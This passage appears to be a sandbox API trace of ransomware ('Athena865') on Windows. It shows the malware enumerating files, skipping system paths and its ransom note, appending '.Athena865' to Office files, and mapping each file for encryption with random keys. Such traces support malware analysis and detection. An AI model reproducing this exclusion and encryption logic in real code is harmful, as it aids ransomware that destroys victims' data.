dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.653] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0145.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.654] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.655] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.655] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.655] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0145.657] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0145.657] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.658] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.658] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.659] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.659] CloseHandle (hObject=0x17c) returned 1 [0145.659] CloseHandle (hObject=0x154) returned 1 [0145.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.659] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x139968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPINTL.DLL", cAlternateFileName="")) returned 1 [0145.659] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.659] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.659] lstrcmpiW (lpString1="PPINTL.DLL", lpString2=".") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="..") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="windows") returned -1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="bootmgr") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="temp") returned -1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="pagefile.sys") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="boot") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="ids.txt") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="ntuser.dat") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="perflogs") returned 1 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2="MSBuild") returned 1 [0145.660] lstrlenW (lpString="PPINTL.DLL") returned 10 [0145.660] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PPINTL.DLL" | out: lpString1="PPINTL.DLL") returned="PPINTL.DLL" [0145.660] lstrlenW (lpString="PPINTL.DLL") returned 10 [0145.660] lstrlenW (lpString="Athena865") returned 9 [0145.660] lstrcmpiW (lpString1="PINTL.DLL", lpString2="Athena865") returned 1 [0145.660] lstrlenW (lpString=".dll") returned 4 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2=".dll") returned 1 [0145.660] lstrlenW (lpString=".lnk") returned 4 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2=".lnk") returned 1 [0145.660] lstrlenW (lpString=".ini") returned 4 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2=".ini") returned 1 [0145.660] lstrlenW (lpString=".sys") returned 4 [0145.660] lstrcmpiW (lpString1="PPINTL.DLL", lpString2=".sys") returned 1 [0145.660] lstrlenW (lpString="PPINTL.DLL") returned 10 [0145.660] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.Athena865") returned 68 [0145.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.athena865"), dwFlags=0x1) returned 1 [0145.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.662] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1284456) returned 1 [0145.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.665] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.665] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.665] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.666] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x139c70, lpName=0x0) returned 0x17c [0145.667] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x139c70) returned 0x2bb0000 [0145.707] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.708] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.708] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.709] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0145.719] CloseHandle (hObject=0x17c) returned 1 [0145.719] CloseHandle (hObject=0x154) returned 1 [0145.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.726] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x9580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPINTL.DLL.IDX_DLL", cAlternateFileName="PPINTL~1.IDX")) returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2=".") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="..") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="windows") returned -1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="temp") returned -1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="pagefile.sys") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="boot") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="perflogs") returned 1 [0145.726] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0145.726] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18 [0145.726] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PPINTL.DLL.IDX_DLL" | out: lpString1="PPINTL.DLL.IDX_DLL") returned="PPINTL.DLL.IDX_DLL" [0145.726] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18 [0145.727] lstrlenW (lpString="Athena865") returned 9 [0145.727] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0145.727] lstrlenW (lpString=".dll") returned 4 [0145.727] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2=".dll") returned 1 [0145.727] lstrlenW (lpString=".lnk") returned 4 [0145.727] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0145.727] lstrlenW (lpString=".ini") returned 4 [0145.727] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2=".ini") returned 1 [0145.727] lstrlenW (lpString=".sys") returned 4 [0145.727] lstrcmpiW (lpString1="PPINTL.DLL.IDX_DLL", lpString2=".sys") returned 1 [0145.727] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18 [0145.727] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.Athena865") returned 76 [0145.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0145.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.729] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38272) returned 1 [0145.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.731] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.731] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.731] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9880, lpName=0x0) returned 0x17c [0145.732] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9880) returned 0x100000 [0145.734] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.735] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.735] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.736] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.736] CloseHandle (hObject=0x17c) returned 1 [0145.736] CloseHandle (hObject=0x154) returned 1 [0145.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.737] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x22180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPINTL.REST.IDX_DLL", cAlternateFileName="PPINTL~2.IDX")) returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2=".") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="..") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="windows") returned -1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="bootmgr") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="temp") returned -1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="pagefile.sys") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="boot") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="ids.txt") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="ntuser.dat") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="perflogs") returned 1 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2="MSBuild") returned 1 [0145.737] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19 [0145.737] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PPINTL.REST.IDX_DLL" | out: lpString1="PPINTL.REST.IDX_DLL") returned="PPINTL.REST.IDX_DLL" [0145.737] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19 [0145.737] lstrlenW (lpString="Athena865") returned 9 [0145.737] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0145.737] lstrlenW (lpString=".dll") returned 4 [0145.737] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2=".dll") returned 1 [0145.738] lstrlenW (lpString=".lnk") returned 4 [0145.738] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2=".lnk") returned 1 [0145.738] lstrlenW (lpString=".ini") returned 4 [0145.738] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2=".ini") returned 1 [0145.738] lstrlenW (lpString=".sys") returned 4 [0145.738] lstrcmpiW (lpString1="PPINTL.REST.IDX_DLL", lpString2=".sys") returned 1 [0145.738] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19 [0145.738] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.Athena865") returned 77 [0145.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0145.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.740] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=139648) returned 1 [0145.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.740] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.741] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.741] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.741] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22480, lpName=0x0) returned 0x17c [0145.742] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22480) returned 0x170000 [0145.747] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.748] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.748] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.749] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0145.750] CloseHandle (hObject=0x17c) returned 1 [0145.750] CloseHandle (hObject=0x154) returned 1 [0145.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.751] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50c4ab60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRIMARY.CSS", cAlternateFileName="")) returned 1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2=".") returned 1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="..") returned 1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="windows") returned -1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="bootmgr") returned 1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="temp") returned -1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="pagefile.sys") returned 1 [0145.751] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="boot") returned 1 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="ids.txt") returned 1 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="ntuser.dat") returned 1 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="perflogs") returned 1 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2="MSBuild") returned 1 [0145.752] lstrlenW (lpString="PRIMARY.CSS") returned 11 [0145.752] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PRIMARY.CSS" | out: lpString1="PRIMARY.CSS") returned="PRIMARY.CSS" [0145.752] lstrlenW (lpString="PRIMARY.CSS") returned 11 [0145.752] lstrlenW (lpString="Athena865") returned 9 [0145.752] lstrcmpiW (lpString1="IMARY.CSS", lpString2="Athena865") returned 1 [0145.752] lstrlenW (lpString=".dll") returned 4 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2=".dll") returned 1 [0145.752] lstrlenW (lpString=".lnk") returned 4 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2=".lnk") returned 1 [0145.752] lstrlenW (lpString=".ini") returned 4 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2=".ini") returned 1 [0145.752] lstrlenW (lpString=".sys") returned 4 [0145.752] lstrcmpiW (lpString1="PRIMARY.CSS", lpString2=".sys") returned 1 [0145.752] lstrlenW (lpString="PRIMARY.CSS") returned 11 [0145.752] 